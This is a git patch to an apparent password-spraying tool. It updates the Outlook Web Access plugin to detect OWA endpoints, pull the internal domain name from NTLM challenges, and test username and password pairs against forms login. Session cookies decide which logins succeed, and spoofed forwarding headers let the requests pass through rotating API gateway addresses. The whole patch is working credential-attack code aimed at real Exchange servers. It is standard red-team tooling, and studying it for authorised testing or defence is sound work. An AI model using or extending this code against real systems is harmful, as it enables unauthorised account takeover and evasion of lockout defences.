From 50606b5073a41e36640e5f4f3fb1112246bf3de8 Mon Sep 17 00:00:00 2001 From: techspence Date: Sat, 18 Feb 2023 21:34:24 -0500 Subject: [PATCH] update owa plugin to use forms auth --- plugins/owa/__init__.py | 32 ++++++++++++++++++++++-- plugins/owa/owa.py | 55 ++++++++++++++++++++++++++--------------- utils/utils.py | 5 +++- 3 files changed, 69 insertions(+), 23 deletions(-) diff --git a/plugins/owa/__init__.py b/plugins/owa/__init__.py index 7001927..228e249 100644 --- a/plugins/owa/__init__.py +++ b/plugins/owa/__init__.py @@ -1,7 +1,29 @@ import requests import utils.utils as utils +from urllib.parse import urlparse requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) +paths = {'OWA version 2003': '/exchweb/bin/auth/owaauth.dll', + 'OWA version 2007': '/owa/auth/owaauth.dll', + 'OWA version > 2007': '/owa/auth.owa'} + + +# check to see which owa endpoint is in use +def check_url(url): + r = requests.get(url, verify=False) + return r.status_code + + +def check_path(url): + current_path = urlparse(url).path + if not current_path or current_path == "/": + srv = url.rstrip('/') # just in case + for key, value in paths.items(): + url_value = srv + value + if check_url(url_value) == 200: + output = f"Looks like {key}. Adding {value} to the end of the target" + return value, output + def validate(pluginargs, args): # @@ -30,17 +52,23 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) + server_url = pluginargs['url'] + owa_url = check_path(pluginargs['url']) + owa_server = url + owa_url[0].strip("/") # add the owa endpoint and eliminate double // at the end of the fireprox url + resp = requests.get(url, headers=headers, verify=False) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" success = False else: - output = "Testconnect: Fingerprinting host... Internal Domain name: {domain}, continuing" + output = "Testconnect: Fingerprinting host... Internal Domain name: {domain}, continuing. " + owa_url[1] if success: - domainname = utils.get_owa_domain(url, "/autodiscover/autodiscover.xml", useragent) + domainname = utils.get_owa_domain(server_url, "/autodiscover/autodiscover.xml", useragent) output = output.format(domain=domainname) pluginargs['domain'] = domainname + pluginargs['url'] = owa_server + pluginargs['server_url'] = server_url # required for the payload in owa.py return success, output, pluginargs diff --git a/plugins/owa/owa.py b/plugins/owa/owa.py index 1305571..fe705f6 100644 --- a/plugins/owa/owa.py +++ b/plugins/owa/owa.py @@ -17,40 +17,55 @@ def owa_authenticate(url, username, password, useragent, pluginargs): amazon_id = utils.generate_id() trace_id = utils.generate_trace_id() + ''' For some reason this header causes the request to fail with 400 errors: + "Content-Type": "text/xml" + ''' headers = { 'User-Agent' : useragent, "X-My-X-Forwarded-For" : spoofed_ip, "x-amzn-apigateway-api-id" : amazon_id, - "X-My-X-Amzn-Trace-Id" : trace_id, - - "Content-Type" : "text/xml" + "X-My-X-Amzn-Trace-Id" : trace_id } headers = utils.add_custom_headers(pluginargs, headers) - try: + server = pluginargs['url'] - resp = requests.get(f"{url}/autodiscover/autodiscover.xml", headers=headers, auth=HttpNtlmAuth(username, password), verify=False) + ''' from https://github.com/Greenwolf/Spray ''' + """ + Check id credentials are valid against the target server + :return: number of cookies set by server or 0. In case of successfull login, number of cookies will be > 1 ! + """ + if not('\\' in username) and not('@' in username): + username = pluginargs['domain'] + "\\" + username - if resp.status_code == 200: - data_response['output'] = f"[+] SUCCESS: Found credentials: {username}:{password}" - data_response['result'] = "success" - data_response['valid_user'] = True - elif resp.status_code == 500: - data_response['output'] = f"[*] POTENTIAL: Found credentials, but server returned 500: {username}:{password}" - data_response['result'] = "potential" - data_response['valid_user'] = True + payload = {'destination': pluginargs['server_url'], # has to be the original plugin url, set in __init__.py + 'flags': 4, + 'forcedownlevel': 0, + 'username': username, + 'password': password, + 'passwordText': '', + 'isUtf8': 1} - elif resp.status_code == 504: - data_response['output'] = f"[*] POTENTIAL: Found credentials, but server returned 504: {username}:{password}" - data_response['result'] = "potential" - data_response['valid_user'] = True + try: + resp = requests.post(server, data=payload, headers=headers, verify=False, allow_redirects=False) + + num_cookies = 4 + if resp.status_code == 302: + cookies = resp.cookies + cookie_num = len(cookies) + if cookie_num >= num_cookies: + data_response['output'] = f"[+] SUCCESS: Found credentials: {username}:{password}" + data_response['result'] = "success" + data_response['valid_user'] = True + else: + data_response['output'] = f"[-] FAILURE: Invalid credentials: {username}:{password}" + data_response['result'] = "failure" else: - data_response['output'] = f"[-] FAILURE: Invalid credentials: {username}:{password}" - data_response['result'] = "failure" - + data_response['output'] = f"[-] FAILURE: Invalid credentials: {username}:{password}" + data_response['result'] = "failure" except Exception as ex: data_response['error'] = True diff --git a/utils/utils.py b/utils/utils.py index 9c06b29..5f945dd 100644 --- a/utils/utils.py +++ b/utils/utils.py @@ -47,7 +47,10 @@ def get_owa_domain(url, uri, useragent): r = requests.post("{url}{uri}".format(url=url,uri=uri), headers=auth_header, verify=False) if r.status_code == 401: - ntlm_info = ntlmdecode(r.headers["x-amzn-Remapped-WWW-Authenticate"]) + ''' [!] Having trouble getting the x-amzn-remapped-www-authenticate header to work with the OWA plugin + www-authenticate gets us what we want - not sure of the implications of this + ''' + ntlm_info = ntlmdecode(r.headers["WWW-Authenticate"]) return ntlm_info["NetBIOS_Domain_Name"] else: return "NOTFOUND"